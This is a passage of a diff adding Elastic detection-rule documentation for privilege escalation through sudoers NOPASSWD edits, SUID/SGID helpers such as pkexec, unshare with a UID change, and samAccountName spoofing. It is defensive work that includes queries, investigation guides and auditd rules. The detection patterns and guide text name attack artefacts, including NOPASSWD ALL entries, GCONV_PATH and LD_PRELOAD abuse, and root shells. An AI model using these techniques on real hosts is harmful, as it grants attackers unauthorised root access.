type*: query + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux +* Platform: macOS + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Sudoers File Modification* + + +The sudoers file is crucial in Unix-like systems, defining user permissions for executing commands with elevated privileges. Adversaries may exploit this by modifying the file to allow unauthorized privilege escalation, often using the NOPASSWD directive to bypass password prompts. The detection rule identifies suspicious process activities, such as attempts to alter sudoers configurations, by monitoring specific command patterns indicative of such exploits. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process that triggered the alert, focusing on the process.args field to confirm the presence of the *NOPASSWD*ALL* pattern. +- Examine the process execution context, including the user account under which the process was initiated, to determine if it aligns with expected behavior or if it indicates potential misuse. +- Check the system's sudoers file for recent modifications, especially looking for unauthorized entries or changes that include the NOPASSWD directive. +- Investigate the command history of the user associated with the alert to identify any suspicious activities or commands executed around the time of the alert. +- Correlate the event with other logs or alerts from the same host or user to identify any patterns or additional indicators of compromise that might suggest a broader attack. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators frequently update the sudoers file to add legitimate NOPASSWD entries for automation purposes. To manage this, create exceptions for known administrative scripts or processes that are regularly reviewed and approved. +- Configuration management tools like Ansible or Puppet might modify the sudoers file as part of their normal operation. Exclude these tools from triggering alerts by identifying their specific process names or paths and adding them to an exception list. +- Development environments where developers are granted temporary elevated privileges for testing purposes can cause false positives. Implement a policy to log and review these changes separately, ensuring they are reverted after use. +- Automated scripts that require passwordless sudo access for operational efficiency might be flagged. Document these scripts and their usage, and configure the detection system to ignore these specific, well-documented cases. +- System updates or patches that modify sudoers configurations as part of their installation process can be mistaken for malicious activity. Monitor update schedules and correlate them with alerts to identify and exclude these benign changes. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Review and revert any unauthorized changes to the sudoers file by restoring it from a known good backup or manually correcting the entries to remove any NOPASSWD directives added by the adversary. +- Conduct a thorough audit of user accounts and permissions on the affected system to identify and remove any unauthorized accounts or privilege assignments. +- Reset passwords for all accounts with elevated privileges on the affected system to ensure that compromised credentials cannot be reused. +- Deploy endpoint detection and response (EDR) tools to monitor for any further suspicious activities or attempts to modify the sudoers file across the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Implement additional logging and alerting for changes to the sudoers file and other critical configuration files to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and event.type:start and process.args:(echo and *NOPASSWD*ALL*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc new file mode 100644 index 0000000000..c454d8989d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid-proxy-execution]] +=== Potential Privilege Escalation via SUID/SGID Proxy Execution + +Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/today_i_learned_binfmt_misc/ +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via SUID/SGID Proxy Execution* + + +This rule surfaces executions of well-known SUID/SGID helpers on Linux that run with root privileges while the launching user remains non‑root, signaling an attempt to proxy elevated rights. It matters because a non‑privileged process invoking pkexec can spawn /bin/sh as root via environment manipulation, turning a low-privilege foothold into full system control. + + +*Possible investigation steps* + + +- Determine if the invocation is interactive and expected (e.g., admin using su/sudo) by correlating with a TTY/SSH session, recent successful authentication logs, and sudo/polkit policy outcomes in journald. +- For pkexec events, inspect the environment for exploit indicators (e.g., unset argv or suspicious GCONV_PATH, PATH, LD_PRELOAD, LC_* values) and look for attacker-created files in /tmp or the user's home that match gconv or loader artifacts. +- Review the child/descendant process tree of the SUID/SGID helper to see if it spawned a root shell or arbitrary interpreter, and pivot to concurrent network connections or file writes by those children. +- Validate whether the executable’s SUID/SGID file on disk has been tampered with by checking its hash, permissions, ownership, and recent mtime against package manager metadata and known-good baselines. +- If the binary is mount/umount/fusermount or newuidmap/newgidmap, correlate with container or FUSE activity to confirm a legitimate workflow and inspect mounts or namespace changes for risky options (e.g., suid, exec) or unusual target directories. + + +*False positive analysis* + + +- An authorized pkexec or polkit-agent-helper invocation by a user to perform a permitted administrative task may run as root while the real user is non‑root, often with a single‑argument parent, and should align with an interactive prompt and expected policy. +- Normal unprivileged workflows using fusermount3 or newuidmap/newgidmap legitimately leverage SUID/SGID helpers, typically launched by a simple shell with one argument, and should correlate with expected mount or user‑namespace activity. + + +*Response and remediation* + + +- Immediately isolate the host, kill the offending SUID/SGID child processes (e.g., pkexec spawning /bin/sh), and temporarily remove the setuid/setgid bit from the abused binary (chmod u-s /usr/bin/pkexec or chmod g-s /usr/bin/newgrp) to halt further elevation. +- Reinstall and verify integrity of abused packages and SUID helpers (e.g., polkit to replace /usr/bin/pkexec, dbus-daemon-launch-helper, fusermount3) and delete attacker artifacts such as gconv modules or LD_PRELOAD payloads from /tmp, /var/tmp, and user homes. +- Undo attacker changes by restoring /etc/sudoers, /etc/passwd and /etc/shadow, and polkit rules under /usr/share/polkit-1 or /etc/polkit-1, unmount suspicious FUSE or bind mounts created by fusermount3/mount, and rotate credentials and keys. +- Escalate to incident command if you observe a SUID helper launching an interactive root shell (/bin/sh -p or bash -p), root-owned droppers in /tmp or /usr/local/bin, or similar events on more than one host or account. +- Permanently reduce the SUID/SGID attack surface by auditing and removing setuid bits from rarely used binaries (e.g., chfn, chsh, newgrp, ssh-keysign), restricting pkexec via polkit rules to specific callers, and mounting /tmp, /var/tmp, and home directories with nosuid,nodev,noexec. +- Strengthen monitoring and policy by enabling AppArmor/SELinux confinement for pkexec and mount helpers, adding auditd rules for exec of setuid binaries and writes to /tmp by root, and enforcing least-privilege sudoers by removing broad NOPASSWD entries and requiring MFA for privileged tasks. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and process.args in ( + "/bin/su", "/usr/bin/su", + "/usr/bin/sudo", + "/bin/mount", "/usr/bin/mount", + "/bin/umount", "/usr/bin/umount", + "/usr/bin/fusermount3", + "/bin/passwd", "/usr/bin/passwd", + "/bin/chfn", "/usr/bin/chfn", + "/bin/chsh", "/usr/bin/chsh", + "/bin/gpasswd", "/usr/bin/gpasswd", + "/bin/newgrp", "/usr/bin/newgrp", + "/sbin/unix_chkpwd", "/usr/sbin/unix_chkpwd", + "/usr/bin/newuidmap", "/usr/bin/newgidmap", + "/usr/lib/dbus-1.0/dbus-daemon-launch-helper", "/usr/libexec/dbus-daemon-launch-helper", + "/usr/lib/openssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", + "/usr/bin/pkexec", "/usr/libexec/pkexec", "/usr/lib/polkit-1/pkexec", + "/usr/lib/polkit-1/polkit-agent-helper-1", "/usr/libexec/polkit-agent-helper-1", + "/usr/lib/snapd/snap-confine" +) and process.parent.args_count == 1 and +not process.parent.executable like ( + "/usr/libexec/oracle-cloud-agent/plugins/unifiedmonitoring/unifiedmonitoring", "/usr/libexec/oracle-cloud-agent/agent", + "/usr/lib/x86_64-linux-gnu/libexec/polkit-kde-authentication-agent-1", "/usr/libexec/xfce-polkit", "/usr/bin/dolphin", + "/usr/libexec/kf6/polkit-kde-authentication-agent-1", "/usr/bin/gnome-shell", + "/snap/oracle-cloud-agent/*/plugins/unifiedmonitoring/unifiedmonitoring", "/data/oem_agent/agent_*/sbin/nmo", + "/usr/bin/plasma-discover", "/usr/bin/cosmic-osd", "/usr/bin/update-notifier" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid.asciidoc new file mode 100644 index 0000000000..c8b4de56e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid]] +=== Potential Privilege Escalation via SUID/SGID + +Detects potential privilege escalation under the root effective user when the real user and parent user are not root, indicative of the execution of binaries with SUID or SGID bits set. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/ + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privilege Escalation via SUID/SGID* + + +Adversaries exploit misconfigured SUID/SGID binaries to gain elevated access or persistence. This rule identifies processes running with root privileges but initiated by non-root users, flagging potential misuse of SUID/SGID permissions. + + +*Possible investigation steps* + + +- Inspect `process.parent.command_line` and working directory for obfuscation or one-liners. +- Check authentication and sudoers policy for the user. +- Pivot on the host for additional privilege escalation or persistence in the same session. + + +*Response and remediation* + + +- If unauthorized, contain the session, revoke elevated access, and review sudoers and polkit policy for tampering. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0" and process.parent.user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0" and process.parent.group.id != "0") +) and +( + startsWith(process.executable, process.command_line) or + startsWith(process.name, process.command_line) +) and +( + process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*", "node", "deno", "bun", "java") or + process.parent.executable like ("./*", "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh") and + process.parent.args in ("-c", "-cl", "-lc", "--command", "-ic", "-ci", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh", "-mksh") and + process.parent.args_count <= 4 + ) +) and +not ( + /* Common SUID/SGID binaries (subset also covered by e7856173-6489-449f-80ec-c1f5fcd7b87c); excluded here to reduce noise */ + process.name in ( + "unix_chkpwd", "fusermount", "fusermount3", "umount", "newgrp", "chsh", "sudoedit", "gpasswd", "chfn", "polkit-agent-helper-1", + "dbus-daemon-launch-helper", "ssh-keysign", "pam_extrausers_chkpwd", "expiry", "chage", "wall", "bsd-write", "ssh-agent", + "ping6", "traceroute", "mtr", "ntfs-3g", "Xorg.wrap", "chrome-sandbox", "bwrap", "hostname", "sudo", "su", "pkexec", "passwd", + "mount" + ) or + (process.executable == "/usr/lib/landscape/apt-update" and process.args == "/usr/lib/landscape/apt-update") or + (process.executable == "/usr/bin/mount" and process.args in ("/usr/bin/mount", "mount")) or + (process.executable like "/u0?/app/agent/agent_*/sbin/nmo" and process.args like "/u0?/app/agent/agent_*/sbin/nmo") or + (process.executable == "/usr/bin/screen" and process.args == "screen") or + (process.executable == "/usr/sbin/playpen" and process.args == "/usr/sbin/playpen") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-and-uid-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-and-uid-change.asciidoc new file mode 100644 index 0000000000..6b9e1a2495 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-and-uid-change.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-and-uid-change]] +=== Potential Privilege Escalation via unshare and UID Change + +Identifies potentially suspicious use of unshare to create a user namespace context followed by a UID change event indicating a transition to root. Adversaries may use unshare-based primitives as part of local privilege escalation chains. This rule is intentionally generic and can surface multiple local privesc patterns beyond a single CVE. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability +* https://twitter.com/liadeliyahu/status/1684841527959273472 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via unshare and UID Change* + + +The unshare utility can create new namespaces, including user namespaces. In some exploit chains, an attacker uses +unshare (often with user namespace flags) as a precursor step and then achieves a transition to root. This rule detects +a short sequence where a non-root user executes unshare with user-namespace related arguments and a subsequent uid_change +event indicates the user became root, which can represent a successful local privilege escalation attempt. + + +*Possible investigation steps* + + +- Review unshare arguments in the first event to confirm user namespace related flags were used (for example -U/--user or -r). +- Check the process tree and parent context (process.parent.entity_id) to understand what launched unshare and whether it originated from an interactive session or user-writable path. +- Confirm whether the uid_change corresponds to the same activity and identify the first root process spawned after the uid_change event. +- Review other host signals around the same time for exploit activity such as compilation in /tmp, suspicious downloads, or execution of unusual binaries. + + +*False positive analysis* + + +- Legitimate sandboxing or container tooling may use unshare and then legitimately trigger uid_change events; validate the parent process and user context. +- Security testing, exploit validation, or developer environments may intentionally exercise namespace-related behavior; tune by users, hosts, or maintenance windows. + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further privilege abuse or lateral movement. +- Terminate suspicious processes and collect forensic data (process tree, binaries, and relevant files in temp locations). +- Patch and harden the host; review policies that allow unprivileged user namespaces if not required in your environment. +- Escalate for incident response when root access is confirmed and scope for follow-on persistence. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id, host.id with maxspan=60s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "unshare" and process.args : ("-r", "-rm", "-m", "-U", "--user") and user.id != "0"] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-followed-by-root-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-followed-by-root-process.asciidoc new file mode 100644 index 0000000000..3c3f8f1463 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-followed-by-root-process.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-followed-by-root-process]] +=== Potential Privilege Escalation via unshare Followed by Root Process + +Detects a short sequence where a non-root user performs unshare-related namespace activity (often associated with user namespace privilege escalation primitives) and then a root process is executed shortly after. This can indicate a successful local privilege escalation attempt or suspicious namespace manipulation captured in Auditd Manager telemetry. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.elastic.co/integrations/auditd_manager +* https://attack.mitre.org/techniques/T1068/ + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privilege Escalation via unshare Followed by Root Process* + + +Validate that the initiating user and parent process should be using unshare. Then confirm whether the subsequent root +process aligns with an approved administrative workflow or represents an unexpected transition to root. + + +*Possible investigation steps* + + +- Review auditd.data.* (syscall, class, and a0) and process args to understand the unshare intent. +- Identify the first root process spawned and its command line, then look for follow-on persistence or credential access. +- Correlate with recent downloads/compilation in temp directories and other local privesc indicators on the host. + + +*Response and remediation* + + +- If unauthorized, isolate the host, capture forensic artifacts, and patch/harden user namespace settings as appropriate. + + +==== Setup + + + +*Setup* + + +This rule relies on Auditd Manager (or Auditbeat) process telemetry that captures: + +- Process execution events (execve/execveat) to populate process.name, process.args, and process.parent.pid +- Namespace-related activity to populate auditd.data.syscall, auditd.data.class, and auditd.data.a0 for unshare calls +- Privilege transitions so processes started as root can be correlated after the namespace action + +Ensure your auditd ruleset includes coverage for unshare and exec-related syscalls and that arguments are collected. If +your environment does not populate auditd.data.class/a0 for unshare, keep the process-based fallback branch (process.name +== unshare with -U/--user/-r args) enabled and consider extending auditing to enrich those auditd.data fields. + + +*Example auditd rules* + + +The following example syscall rules are commonly used to capture the signals required by this detection. Adjust keys and +scope to your environment (these examples are intentionally broad). + +- Capture unshare (namespace activity): + -a always,exit -F arch=b64 -S unshare -k namespace + -a always,exit -F arch=b32 -S unshare -k namespace + +- Capture process execution (argv collection depends on your auditd/auditbeat pipeline configuration): + -a always,exit -F arch=b64 -S execve -S execveat -k exec + -a always,exit -F arch=b32 -S execve -S execveat -k exec + +- Capture UID transition syscalls often associated with privilege changes: + -a always,exit -F arch=b64 -S setuid -S setreuid -S setresuid -S setfsuid -k uid_change + -a always,exit -F arch=b32 -S setuid -S setreuid -S setresuid -S setfsuid -k uid_change + +See https://docs.elastic.co/integrations/auditd_manager + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.pid with maxspan=30s + [process where host.os.type == "linux" and + ( + (auditd.data.syscall == "unshare" and auditd.data.class == "namespace" and auditd.data.a0 in ("10000000", "50000000", "70000000", "10020000", "50020000", "70020000")) or + + (process.name == "unshare" and + (process.args in ("--user", "--map-root-user", "--map-current-user") or process.args like ("-*U*", "-*r*"))) + ) and user.id != "0" and user.id != null] + [process where host.os.type == "linux" and + user.id == "0" and user.id != null and + ( + process.name in ("su", "sudo", "pkexec", "passwd", "chsh", "newgrp", "doas", "run0", "sg", "dash", "sh", "bash", "zsh", "fish", + "ksh", "csh", "tcsh", "ash", "mksh", "busybox", "rbash", "rzsh", "rksh", "tmux", "screen", "node") or + process.name like ("python*", "perl*", "ruby*", "php*", "lua*") + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc new file mode 100644 index 0000000000..d095ec219d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-potential-privileged-escalation-via-samaccountname-spoofing]] +=== Potential Privileged Escalation via SamAccountName Spoofing + +Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e +* https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/ +* https://github.com/cube0x0/noPac +* https://twitter.com/exploitph/status/1469157138928914432 +* https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Use Case: Vulnerability +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: 